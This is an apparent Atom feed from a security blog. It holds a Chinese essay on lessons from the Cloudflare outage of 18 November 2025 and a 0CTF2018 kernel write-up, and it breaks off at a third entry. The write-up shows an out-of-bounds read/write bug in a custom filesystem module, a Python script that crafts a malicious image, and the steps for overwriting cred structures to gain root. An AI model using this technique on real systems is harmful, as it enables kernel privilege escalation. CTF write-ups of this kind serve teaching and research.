<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Eadom&#39;s Blog</title>
  
  <subtitle>NO PWN NO FUN</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://blog.eadom.net/"/>
  <updated>2025-11-26T14:52:49.023Z</updated>
  <id>https://blog.eadom.net/</id>
  
  <author>
    <name>Eadom</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>从变更角度“复盘” Cloudflare 11·18 故障</title>
    <link href="https://blog.eadom.net/uncategorized/cloudflare-nov-18-outage-change-perspective/"/>
    <id>https://blog.eadom.net/uncategorized/cloudflare-nov-18-outage-change-perspective/</id>
    <published>2025-11-26T13:31:51.000Z</published>
    <updated>2025-11-26T14:52:49.023Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-引言"><a href="#1-引言" class="headerlink" title="1. 引言"></a>1. 引言</h2><p>2025 年 11 月 18 日，Cloudflare 遭遇了一次影响范围不小的故障，导致其部分服务在一段时间内出现明显异常、访问失败或性能下降；具体影响范围可以参考 Cloudflare 在官方博客中发布的复盘报告<a href="https://blog.cloudflare.com/18-november-2025-outage/" target="_blank" rel="noopener">《Cloudflare outage on November 18, 2025》</a>。</p><p>事后 Cloudflare 很快发布了详细的技术复盘报告，把这次故障的来龙去脉讲得比较清楚：<strong>直接诱因是一项数据库权限配置变更</strong>，而下游某些 Rust 服务在异常路径上的健壮性不足，被这次变更“精准命中”，最终演化成大面积的服务不可用。在复盘文章里，可以看到典型的 <code>unwrap</code> 使用导致程序在遇到异常数据时直接崩溃，这一点也迅速成了社区讨论的焦点。</p><p><code>unwrap</code> 确实是这次事故的重要触发点之一，但如果只停留在“不应该用 unwrap”这个层面，我们能学到的东西其实很有限。<strong>在真实的工程环境里，数据库权限、配置项、安全策略，这类“看起来只是调一下配置”的变更，在研发和安全团队的日常工作中非常常见，而且数量巨大</strong>。很多时候，它们并不会被当成高风险操作对待，更不会被放到和“发一版代码”同等严肃的变更流程里去审视。</p><p>正因为如此，在大家都在吐槽 <code>unwrap</code> 的时候，我更想换一个视角：站在一个局外人的位置，只基于 Cloudflare 公开的技术文章，<strong>从“变更”的角度，来看看这次事故里有哪些稳定性和安全运维层面的经验教训，是我们在日常做配置 / 安全控制变更时可以借鉴的</strong>。</p><h2 id="2-事件回顾和-Cloudflare-的技术报告"><a href="#2-事件回顾和-Cloudflare-的技术报告" class="headerlink" title="2. 事件回顾和 Cloudflare 的技术报告"></a>2. 事件回顾和 Cloudflare 的技术报告</h2><p>在进入后面的讨论之前，我先按照 Cloudflare 官方技术文章里的信息，把这次故障的经过简单串一下。几个关键时间点（UTC）：</p><ul><li><strong>11:05</strong>：数据库访问控制变更部署</li><li><strong>11:28</strong>：影响开始产生（Impact starts）</li><li><strong>13:05</strong>：对 Workers KV / Access 启用 bypass，影响降低</li><li><strong>13:37</strong>：确认 Bot Management 配置文件为触发点，开始回滚/修复至 last-known-good</li><li><strong>14:30</strong>：主要影响解除（Main impact resolved）</li><li><strong>17:06</strong>：所有服务恢复（All services resolved）</li></ul><p>在这个时间线里，Cloudflare 官方给出的故事大致可以拆成以下几步。</p><h3 id="2-1-起点：数据库访问控制变更（11-05-UTC）"><a href="#2-1-起点：数据库访问控制变更（11-05-UTC）" class="headerlink" title="2.1 起点：数据库访问控制变更（11:05 UTC）"></a>2.1 起点：数据库访问控制变更（11:05 UTC）</h3><p>从官方时间线来看，这次事故的起点很清晰：<strong>11:05 UTC，Cloudflare 在一套用于生成 Bot Management 特征配置的数据库上，部署了一次权限相关的配置变更（database access control change）。</strong></p><p>Cloudflare 在复盘里解释，这次变更的初衷是：</p><ul><li>把原本“隐式”的表访问权限改成“显式授权”，</li><li>让分布式查询可以在真实用户账户而不是共享系统账户下执行，</li><li>这样才能对每个用户的查询更细粒度地评估访问授权和查询限额（access grants / query limits），从安全和资源控制角度把关。</li></ul><p>问题在于：生成 Bot Management <strong>feature file（特征配置文件）</strong> 的那条查询并没有显式区分哪些库/表应该被统计进去。变更生效后，这条查询突然多拿到了一批原本不会出现的信息，导致：</p><ul><li>查询结果的行数接近翻倍；</li><li>按这个结果生成的 feature file 体积也明显变大，特征数量远超正常水平；</li><li>这份“变胖了”的配置文件依然按原有节奏在全网周期性刷新和分发。</li></ul><p>就变更本身来说，它在当时<strong>看上去更像是一条常规的权限/安全配置调整</strong>，而不是那种一眼就会被当作“高危大变更”的架构级操作。</p><h3 id="2-2-症状出现：核心流量异常（11-28-UTC-之后）"><a href="#2-2-症状出现：核心流量异常（11-28-UTC-之后）" class="headerlink" title="2.2 症状出现：核心流量异常（11:28 UTC 之后）"></a>2.2 症状出现：核心流量异常（11:28 UTC 之后）</h3><p>官方文章在 “The outage” 一节里，展示了一张 5xx 错误量曲线图：原本很低的错误率在 11 点多突然抬升，并出现一段时间的反复波动。</p><p>在文章末尾的时间线表中，<strong>11:28</strong> 被标记为：</p><blockquote><p>Impact starts. Deployment reaches customer environments, first errors observed on customer HTTP traffic.</p></blockquote><p>对外部用户来说，这一阶段的直接表现就是：</p><ul><li>大量站点返回 Cloudflare 自己的 5xx 错误页；</li><li>Workers KV、Access、Dashboard、Turnstile 等依赖核心代理（Cloudflare 文中称为 core proxy，并用 FL/FL2 指代其不同代际/版本的核心代理组件）的服务出现错误或不可用；</li><li>整体 HTTP 流量表现为“时好时坏”的波动。</li></ul><p>波动的原因在官方报告里也解释得比较清楚：</p><ul><li>feature file 每几分钟重新生成一次并分发到全网；</li><li>ClickHouse 集群在逐步更新，只有已经应用访问控制变更的节点会生成“坏文件”；</li><li>每一轮刷新，有可能生成“好配置”或“坏配置”，然后快速推送，导致系统在“好文件 / 坏文件”之间反复切换。</li></ul><h3 id="2-3-定位过程：收敛到数据库-权限策略与-Bot-Management-特征文件（11-28–14-30-UTC）"><a href="#2-3-定位过程：收敛到数据库-权限策略与-Bot-Management-特征文件（11-28–14-30-UTC）" class="headerlink" title="2.3 定位过程：收敛到数据库 / 权限策略与 Bot Management 特征文件（11:28–14:30 UTC）"></a>2.3 定位过程：收敛到数据库 / 权限策略与 Bot Management 特征文件（11:28–14:30 UTC）</h3><p>时间线显示，<strong>11:32–13:05</strong> 这段时间里，团队最初是沿着 <strong>Workers KV 错误和高流量</strong> 的症状在排查：</p><blockquote><p>“The team investigated elevated traffic levels and errors to Workers KV service… mitigations such as traffic manipulation and account limiting were attempted…”</p></blockquote><p>随着排障推进，Cloudflare 在 “The query behaviour change” 与 “Memory preallocation” 两节中，把技术链路写得很直白：</p><ol><li><strong>数据库层</strong>：访问控制变更后，查询时多返回了数据，响应行数接近翻倍；</li><li><strong>配置生成层</strong>：用这条查询生成的 Bot Management feature file 跟着“变胖”，特征数量远超平时（文中描述为 “effectively more than doubling the rows in the response ultimately affecting the number of rows (i.e. features) in the final file output”）；</li><li><strong>核心代理层</strong>：core proxy 上的 Bot Management 模块，为了预分配内存和防止无界增长，对特征数量设了一个硬上限（200，正常使用约 60）；</li><li><p>当超大 feature file 触发这个上限时，核心组件 FL2 的 Rust 代码在检查时调用了 <code>unwrap()</code>，在 Err 分支 panic：</p><blockquote><p>thread fl2_worker_thread panicked: called Result::unwrap() on an Err value</p></blockquote></li></ol><p>时间线中，<strong>13:37</strong> 这一行直接写道：</p><blockquote><p>Work focused on rollback of the Bot Management configuration file to a last-known-good version. We were confident that the Bot Management configuration file was the trigger for the incident.</p></blockquote><p>也就是说，到 13:37 前后，团队已经把问题清楚地收敛到这一链路上：</p><blockquote><p>数据库访问控制变更 → 查询行为变化 → feature file 异常膨胀 → Bot Management 模块触发 unwrap() panic → 核心代理返回大规模 5xx。</p></blockquote><h3 id="2-4-处置与恢复：回滚配置与重启服务（13-05–17-06-UTC）"><a href="#2-4-处置与恢复：回滚配置与重启服务（13-05–17-06-UTC）" class="headerlink" title="2.4 处置与恢复：回滚配置与重启服务（13:05–17:06 UTC）"></a>2.4 处置与恢复：回滚配置与重启服务（13:05–17:06 UTC）</h3><p>后续的处置流程在官方时间线里也有完整记录，可以粗略分成三段：</p><ol><li><strong>先压住影响面（13:05 起）</strong><ul><li><strong>13:05</strong>：<blockquote><p>Workers KV and Cloudflare Access bypass implemented — impact reduced.</p></blockquote></li><li>做法是通过内部 bypass，让 Workers KV 和 Access 回退到 core proxy 的旧版本，虽然旧版本同样存在问题，但影响范围和程度都更小，因此整体错误率明显下降。</li></ul></li><li><strong>修配置文件，恢复核心流量（13:37–14:30）</strong><ul><li><strong>13:37</strong>：工作重点转向回滚 Bot Management 配置文件到 last-known-good 版本；</li><li><strong>14:24</strong>：<ul><li>停止生成与分发新的 Bot Management 配置文件；</li><li>使用旧版本配置文件的恢复测试完成；</li></ul></li><li><strong>14:30</strong>：<blockquote><p>Main impact resolved. A correct Bot Management configuration file was deployed globally and most services started operating correctly.</p></blockquote></li></ul></li><li><strong>清理长尾，全部恢复（14:30–17:06）</strong><ul><li>核心流量恢复后，剩下的是重启在事故中进入 bad state 的下游服务；</li><li><strong>17:06</strong> ：<blockquote><p>All services resolved. Impact ends. All downstream services restarted and all operations fully restored.</p></blockquote></li></ul></li></ol><p>到这里为止，官方技术报告给出的“工程师视角故事线”就完整了：</p><ul><li>11:05 的数据库访问控制变更改变了系统表查询行为；</li><li>被用于生成 Bot Management 特征配置文件的查询没有过滤 database，导致配置文件异常膨胀；</li><li>核心代理中的 Bot Management 模块在遇到这份“超大配置”时触发 <code>unwrap()</code> panic，引发大规模 5xx；</li><li>通过 bypass 降低影响面、回滚 / 修复配置文件、重启下游服务，在 14:30 解除主体影响，17:06 完成收尾。</li></ul><hr><p>到这里为止，我只是把 Cloudflare 在官方复盘里公开的内容，整理成了一条相对清晰的时间线和技术链路。换句话说：前面的所有事实，都是从那篇博客和时间线表里来的，我并没有也不可能掌握他们内部更多的细节。</p><p>接下来如果从变更和稳定性体系的角度往下展开，就难免会带一点推断和类比。这些推断<strong>有可能和 Cloudflare 内部当时的真实情况并不完全一致</strong>，也不代表我在评价或还原他们的具体决策过程，更谈不上指责。</p><p>更合适的理解是：把这次事故当成一个公开、细节足够丰富的案例，把官方给出的时间线和技术原因当作“题面”，后面的分析只是借这道题来反思我们自己在变更、稳定性上的潜在问题，看看能从中抽象出哪些对自己有用的经验教训。后文更关注机制与流程如何把风险收住，而不是复盘某个具体个人/团队的对错。</p><h2 id="3-从变更视角看这次故障"><a href="#3-从变更视角看这次故障" class="headerlink" title="3. 从变更视角看这次故障"></a>3. 从变更视角看这次故障</h2><p>大家都在讨论 <code>unwrap</code>、错误处理不健壮，但真正把这一串问题引爆的，是一类我们日常也经常做的事情——<strong>改了一条权限 / 策略 / 配置</strong>。</p><p>这类操作在任何公司都很常见：收紧一下权限、加一条安全规则、改一条控制面配置。平时我们可能把它归类成“小变更”。这次事故对我们来说，也是一个“复盘”自查的机会，可以就把它当成一次典型的<strong>高危配置 / 安全策略变更事故</strong>，按变更的几个阶段回头看看：如果同样的事发生在我们系统里，哪些环节我们自己也容易掉链子。</p><p>下面这些都是站在“做事的人”的角度做的“复盘”与自查，不是去评价 Cloudflare 做得好不好。</p><h3 id="3-1-影响面评估：这次变更到底多“高危”"><a href="#3-1-影响面评估：这次变更到底多“高危”" class="headerlink" title="3.1 影响面评估：这次变更到底多“高危”"></a>3.1 影响面评估：这次变更到底多“高危”</h3><p>先看第一步：这次到底改了个什么东西。</p><p>这一类权限 / 策略变更，在日常开发里，很容易被当成“就改一下配置”——不改代码、不发新版本，只是调整一条规则，看起来像是低风险操作。</p><p>评估风险大小至少可以拆成两个维度：</p><ol><li><strong>所处平面和作用域（它在哪一层）</strong><ul><li>是某个单体服务的本地配置，只影响局部行为；</li><li>还是控制面 / 安全面上的全局策略，例如：认证授权、集中配置、路由 / 流量调度这类“公共基础设施”。</li></ul></li><li><strong>依赖关系和影响链路（后面连着谁）</strong><ul><li>有多少关键服务 / 关键路径依赖这条配置 / 策略才能继续往下走；</li><li>它是不是在多条核心链路上的必经节点，是典型的 critical path / chokepoint 还是一个 leaf node。</li></ul></li></ol><p>Cloudflare 这次动的是核心组件访问数据的权限，从复盘描述看，很难把它归类成一个“局部、低影响的本地配置”。在任何一个复杂系统里，这种“全局共享 + 被关键链路反复访问”的配置，按理都应该直接归到高危变更的范畴。</p><p>现实里又有另一个情况：历史系统经过多年演化，上下游依赖关系复杂。但我觉得这时候，仍然有必要做一些自查，多思考几个问题，比如：</p><ul><li>如果这个配置完全失效，用户侧最直观的症状会是什么，最坏情况下，它会导致什么样的影响？</li><li>有哪些关键服务 / 功能一定要依赖这条配置？</li><li>过去的故障 / 变更记录里，有没有跟它相关的坑？</li></ul><p>如果这些问题都答不出一个相对有把握的结论，并不代表这个变更风险就低，反而说明：</p><p>我们现在对它的影响面认知还不够清晰，这种情况下，把它当成“小配置改动”随手上生产，其实是比较危险的。</p><h3 id="3-2-事前验证：先在可控环境里把“正常”和“异常”都走一遍"><a href="#3-2-事前验证：先在可控环境里把“正常”和“异常”都走一遍" class="headerlink" title="3.2 事前验证：先在可控环境里把“正常”和“异常”都走一遍"></a>3.2 事前验证：先在可控环境里把“正常”和“异常”都走一遍</h3><p>如果可以在一个安全的测试环境里先行验证，有可能先暴露这个问题。</p><p>有些人平时做配置 / 策略变更，习惯往往是很简单的：</p><p>改完之后在控制台点两下、跑一跑页面，发现“看起来还能用”，然后就上生产了。</p><p>如果事先没认真在测试环境里验证一遍，直接上生产环境变更就等于是给未知行为兜底。</p><p>对这类高危变更：</p><ul><li>上生产之前，先在测试 / 预发环境完成测试，如果是阻断策略，也可以通过日志观察比对验证；</li><li>在这个过程中，不需要穷举所有异常，但至少要有意识地想一想、看一看：<ul><li>配置 / 策略拿不到、读错了、大致会长成什么样；</li><li>系统在这种情况下，是还能撑住，还是直接炸掉。</li></ul></li></ul><p>大规模系统里，确实不可能在测试环境推演所有坏情况，这个目标本身就不现实。</p><p>但在上生产之前，至少要做一件事：<strong>不要把“配置 / 策略永远没问题”当成默认前提</strong>，而是先在一个相对安全的环境里，确认一下最基本的正常和异常场景，是否符合预期。</p><h3 id="3-3-灰度：别一上来就全网生效"><a href="#3-3-灰度：别一上来就全网生效" class="headerlink" title="3.3 灰度：别一上来就全网生效"></a>3.3 灰度：别一上来就全网生效</h3><p>即使测试 / 预发环境都跑过了，生产一定会面临更复杂的情况：真实数据、边缘场景、奇怪的调用链、历史遗留配置，都会叠加进来。所以有计划的分批次灰度发布非常重要。几种比较常见、也比较实用的手法：</p><ul><li><strong>按范围灰度</strong><ul><li>按 Region / 机房 / 用户群 / 业务线分批；</li><li>第一批尽量选影响范围小、可观测性好的对象。</li></ul></li><li><strong>先监控，再执行</strong><ul><li>安全策略先以 log-only / monitor-only 的方式 dry run 跑一段时间：<ul><li>记录“如果现在真执行，会拦掉哪些请求”；</li><li>统计“会放过哪些我们不希望放过的请求”；</li></ul></li><li>没有明显问题，再切到 enforce 模式。</li></ul></li><li><strong>做好灰度计划</strong><ul><li>提前定好：灰度的批次，达到什么要求，我们就可以往下放一批；</li></ul></li></ul><p>其实很多时候问题不是“没做灰度”，而是这类配置 / 策略从设计第一天起，就没有灰度控制的能力。当然，如果某条配置一上来就只能全局生效，而且它又处在核心链路，那它本身就是一个需要去解决的技术债。</p><h3 id="3-4-观测能力与快速恢复：让影响可见可止血"><a href="#3-4-观测能力与快速恢复：让影响可见可止血" class="headerlink" title="3.4 观测能力与快速恢复：让影响可见可止血"></a>3.4 观测能力与快速恢复：让影响可见可止血</h3><p>出问题这件事本身很难完全避免，那接下来就看两件事：</p><ol><li>出了问题，能不能被及时观测到，并且尽快把异常与本次变更关联起来；</li><li>能不能快速拉齐相关方，迅速止血。</li></ol><p><strong>变更发起者（变更 owner）需要对此负责</strong>，对高危配置 / 策略变更来说，变更 owner 的责任不只是“把变更改对”，而是要在发起变更之前，就把下面两点想清楚、准备好，并落在 SOP 中：</p><ul><li>如何判断这次变更是否按预期生效、有没有带来额外副作用；</li><li>一旦出现异常，应该如何处置，触发什么条件需要回滚或熔断。</li></ul><h4 id="3-4-1-观测：变更-owner-要先把观测指标定好"><a href="#3-4-1-观测：变更-owner-要先把观测指标定好" class="headerlink" title="3.4.1 观测：变更 owner 要先把观测指标定好"></a>3.4.1 观测：变更 owner 要先把观测指标定好</h4><p>业务侧的观测一般比较完备。但变更的 owner 并不一定有如同业务一样完备的观测能力和视角。<strong>变更 owner 需要在变更执行前，把与本次变更直接相关的观测能力先对齐好</strong>。对于 SRE、安全这类跨多方的变更，这个过程往往离不开跨部门协同。</p><p>可以具体拆成几件事：</p><ol><li><strong>先列清楚：这次变更可能影响哪些链路、哪些指标</strong><ul><li>我改的是一条安全策略 / 配置规则，它会作用在：<ul><li>哪些入口（网关、CDN、API 网关…）；</li><li>哪些下游（认证、业务服务、数据库 / 缓存…）；</li><li>哪些用户 / 租户 / 区域。</li></ul></li><li>对每一类影响，预先想一遍：<ul><li>正常情况下，哪些指标会有轻微波动（例如某类请求被拒绝率小幅上升）；</li><li>异常情况下，哪些指标会率先发生明显异常（例如某几个接口 5xx 暴涨）。</li></ul></li></ul></li><li><strong>与上下游一起梳理异常观测指标和告警信号</strong><ul><li>在发起变更前，变更 owner 主动与相关方对齐两类信息：<ul><li>各方现有的关键观测指标和告警规则：出现异常时优先关注哪些 dashboard / 告警；</li><li>在变更相关的日志 / 指标里，是否需要增加哪些字段，以便后续快速按维度筛查。</li></ul></li><li>理想的状态是：<ul><li>在变更 owner 自己的 dashboard 里，可以看到这次变更涉及的上下游关键指标；</li><li>所有人都清楚“这次变更要重点盯哪几个指标、哪些异常信号一出现就需要进入处置流程”。</li></ul></li></ul></li><li><strong>在监控 / 日志里给变更本身留“痕迹”</strong><ul><li>相应的变更系统，至少要做到：<ul><li>能够区分不同的配置 / 策略版本；</li><li>能够在日志或查询里，把“使用新配置 / 新策略”的请求、租户、区域筛选出来。</li></ul></li></ul></li></ol><p>回到这次故障上，本身系统的观测也是有一定问题的，<code>unwrap</code> 导致panic级别的问题应该被捕获并且告警。但如果变更 owner 可以多想多做几步，或许能够更快速地把故障指征归因到他的变更上。</p><h4 id="3-4-2-响应协同：以快速止血为目标"><a href="#3-4-2-响应协同：以快速止血为目标" class="headerlink" title="3.4.2 响应协同：以快速止血为目标"></a>3.4.2 响应协同：以快速止血为目标</h4><p>这次 Cloudflare 故障，从业务异常到定位到特定权限 / 特征文件变更导致的问题，过程拉得很长，很可能的原因是，变更信息没有在上下游充分同步，处置现场一开始也没有足够意识到“这波异常和哪一次变更高度相关”。</p><p>从变更 owner 的视角，可以关注以下几点：</p><ol><li><strong>变更的“共同上下文”要统一</strong><ul><li>每一次高危变更都要有明确的变更 ID / 版本号 / 影响范围（租户、区域、实例批次等），确保上下游知晓；</li></ul></li><li><strong>定义好 SOP，关键指标要提前对齐好</strong><ul><li>结合上文对齐好的观测指标，提前约定好异常指标出现后的处置动作。</li><li>快速恢复动作尽量简单：先按预案降级或回滚，优先保障可用性，安全 / 合规问题通过后续补偿措施兜底。</li></ul></li><li><strong>降级/熔断设计</strong> <ul><li>临时关闭某个依赖路径，不再调用这条有问题的链路；</li><li>将某些策略从“强制阻断”降级为“仅记录 + 限流”；</li><li>对下游返回一个可预期的降级结果，而不是继续把异常往更深的地方传。</li></ul></li><li><strong>恢复链路尽量简单，避免循环依赖</strong><ul><li>典型的循环依赖场景：<ul><li>回滚配置要通过同一套控制面 / 配置系统下发，而这套控制面此刻就因为这次变更不可用；</li><li>执行回滚需要某些权限 / 认证链路，碰巧这次改的就是这层；</li><li>回滚脚本依赖的一些后端服务也在故障链路里，导致脚本半路就跑挂了。</li></ul></li></ul></li><li><strong>通过演练把这一套联动跑顺</strong><ul><li>围绕典型高危变更，进行演练。演练不只是看“回滚脚本能不能跑通”。而是验证 SOP 中的观测指标能否与故障场景关联，并及时发起恢复操作。</li><li>演练暴露出来的缺口，都应该复盘更新到 SOP 里。</li></ul></li></ol><h2 id="4-写在最后"><a href="#4-写在最后" class="headerlink" title="4. 写在最后"></a>4. 写在最后</h2><p>首先要给 Cloudflare 点个赞：愿意把问题摊开、把细节讲清楚，是一种非常好的文化。对我们这些旁观者来说，这样的复盘既能照出问题，也能当作一次很好的演练材料。</p><p>在这种上下游链路极其复杂的系统里，一条变更真正会影响什么，很难提前预判。跨部门变更管理、观测、响应尤为重要。这类跨域风险，往往需要横向团队做中枢。</p><p>尤其是对偏上游的同学来说，比如安全运营、策略平台，日常做的很多事情看上去只是“调一条规则”“收紧一点权限”，但站在全局视角，往往就是高风险动作。不要把配置、权限、策略当成理所当然“安全”的东西。如何在团队里把风险意识、影响面判断、事前预案这些东西沉淀成可复制的能力，而不是只靠少数人的经验，需要长期系统性地建设。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;1-引言&quot;&gt;&lt;a href=&quot;#1-引言&quot; class=&quot;headerlink&quot; title=&quot;1. 引言&quot;&gt;&lt;/a&gt;1. 引言&lt;/h2&gt;&lt;p&gt;2025 年 11 月 18 日，Cloudflare 遭遇了一次影响范围不小的故障，导致其部分服务在一段时间内出现明显
      
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>0CTF2018 zerofs Writeup</title>
    <link href="https://blog.eadom.net/writeups/0ctf-2018-zerofs-writeup/"/>
    <id>https://blog.eadom.net/writeups/0ctf-2018-zerofs-writeup/</id>
    <published>2018-04-02T16:15:39.000Z</published>
    <updated>2025-11-21T12:45:50.731Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p><em>zerofs.ko</em> is a driver module of a custom filesystem.<br>The kernel and the module is compiled by randstruct plugin, which I found in the magic string – <code>vermagic=4.13.0 SMP mod_unload modversions</code>RANDSTRUCT_PLUGIN_3c73df5cc8285309b74c8a4caaf831205da45096402d3b1a80caab1d7fa1b03a`.<br><em>run.sh</em> and <em>/init</em> show that the kernel is protected by SMEP, SMAP, KASLR, kptr_restrict and dmesg_restrict.</p><h2 id="zerofs-ko"><a href="#zerofs-ko" class="headerlink" title="zerofs.ko"></a>zerofs.ko</h2><p>I found the module may be modified from <a href="https://github.com/psankar/simplefs" target="_blank" rel="noopener">simplefs</a> after the game.<br>By reversing <em>zerofs.ko</em>, I knew the blocksize is 4096 bits. The first block of the image is the superblock. It consists of magic, block_size, inode_count and free_blocks bitmap.</p><img src="/writeups/0ctf-2018-zerofs-writeup/zerofs_super_block.png" title="zerofs_super_block"><p>The second block records all of the inodes in an array. <em>ino</em> is inode number, and dno is the block number of the image.</p><img src="/writeups/0ctf-2018-zerofs-writeup/zerofs_inode.png" title="zerofs_inode"><p>There is a root inode which ino is 1. It indicates the root dictionary. There is a block corresponding to root dictionary to indicates files in the dictionary. It is an array of zerofs_dir_record structure. </p><img src="/writeups/0ctf-2018-zerofs-writeup/zerofs_dir_record.png" title="zerofs_dir_record"><h2 id="Vulnerabilitie"><a href="#Vulnerabilitie" class="headerlink" title="Vulnerabilitie"></a>Vulnerabilitie</h2><p>There isn’t any bound or size check in read and write function.<br>If the filesize we set in image is bigger than blocksize(0x1000), there will be an out-of-bound read/write when invoking copy_to_user/copy_from_user.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 __fastcall <span class="title">zerofs_read</span><span class="params">(file *filp, <span class="keyword">char</span> *buf, <span class="keyword">size_t</span> len, <span class="keyword">loff_t</span> *ppos)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">if</span> ( copy_to_user(buf, &amp;bh0-&gt;b_data[*pos_1], len_1) ) <span class="comment">// OOB READ</span></span><br><span class="line">    &#123;</span><br><span class="line">        ...</span><br><span class="line">    &#125;    </span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">ssize_t</span> __fastcall <span class="title">zerofs_write</span><span class="params">(file *filp, <span class="keyword">const</span> <span class="keyword">char</span> *buf, <span class="keyword">size_t</span> len, <span class="keyword">loff_t</span> *ppos)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">if</span> ( copy_from_user(&amp;bh0-&gt;b_data[*pos], buf, len_1) ) <span class="comment">// OOB WRITE</span></span><br><span class="line">    &#123;</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Constructing-Image"><a href="#Constructing-Image" class="headerlink" title="Constructing Image"></a>Constructing Image</h2><p>To exploit the vulnerabilities, I need to construct an malicious image. Here is the script. I put a file named <em>666</em> with size of 0xffffffffffffffff.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">block0 = p64(<span class="number">0x4F52455A</span>) + p64(<span class="number">4096</span>) + p64(<span class="number">3</span>) + p64(<span class="number">0xffffffff</span> ^ <span class="number">0x7</span>)</span><br><span class="line">block0 = block0.ljust(<span class="number">0x1000</span>, <span class="string">'\x00'</span>)</span><br><span class="line"></span><br><span class="line">block1 = <span class="string">''</span></span><br><span class="line">inode1 = p64(<span class="number">1</span>) + p64(<span class="number">2</span>) + p64(<span class="number">0x4000</span>) + p64(<span class="number">0x1</span>)</span><br><span class="line">inode2 = p64(<span class="number">2</span>) + p64(<span class="number">3</span>) + p64(<span class="number">0x8000</span>) + p64(<span class="number">0xffffffffffffffff</span>)</span><br><span class="line">block1 += inode1 + inode2</span><br><span class="line">block1 = block1.ljust(<span class="number">0x1000</span>, <span class="string">'\x00'</span>)</span><br><span class="line"></span><br><span class="line">block2 = <span class="string">''</span></span><br><span class="line">block2 += <span class="string">'666'</span>.ljust(<span class="number">256</span>, <span class="string">'\x00'</span>)</span><br><span class="line">block2 += p64(<span class="number">2</span>)</span><br><span class="line">block2 = block2.ljust(<span class="number">0x1000</span>, <span class="string">'\x00'</span>)</span><br><span class="line"></span><br><span class="line">img = block0 + block1 + block2 + <span class="string">'\x30'</span> * <span class="number">0x1000</span> * <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'fs/tmp/zerofs.img'</span>, <span class="string">'wb'</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(img)</span><br></pre></td></tr></table></figure><h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>After mounting the image, I could trigger out-of-bound read by read the file <em>666</em>.<br>I tried to find CRED struct in leaked memory. Fortunately, I found some by searching the uid. It took me some time to locate CRED struct because of the radomization of structures.</p><p>I still didn’t know which CRED is valid and which process the CRED belongs to although I could find some CRED structures. The exploit is not stable, so I run the exploit serval times. After leaking the memory, the exploit will check if it gets root privilege in a loop. If so, it invokes <code>system(&quot;sha256sum /root/flag&quot;);</code>.</p><p>The last step is to write the CRED. I invoked llseek to set offset to the CRED, and invoked write to modify the CRED, setting uid to 0.</p><p>Here is the <a href="https://gist.github.com/Eadom/29f8627d428a90842a99b2c176d4789a" target="_blank" rel="noopener">expliot</a></p><img src="/writeups/0ctf-2018-zerofs-writeup/get_flag.png" title="get_flag">]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;Overview&quot;&gt;&lt;/a&gt;Overview&lt;/h2&gt;&lt;p&gt;&lt;em&gt;zerofs.ko&lt;/em&gt; is a driver module of a cus
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="0ctf" scheme="https://blog.eadom.net/tags/0ctf/"/>
    
  </entry>
  
  <entry>
    <title>UCTF2017 初赛 PWN题 Writeup</title>
    <link href="https://blog.eadom.net/writeups/uctf-2017-quals-pwn-writeup/"/>
    <id>https://blog.eadom.net/writeups/uctf-2017-quals-pwn-writeup/</id>
    <published>2017-07-10T08:44:39.000Z</published>
    <updated>2025-11-21T12:45:50.809Z</updated>
    
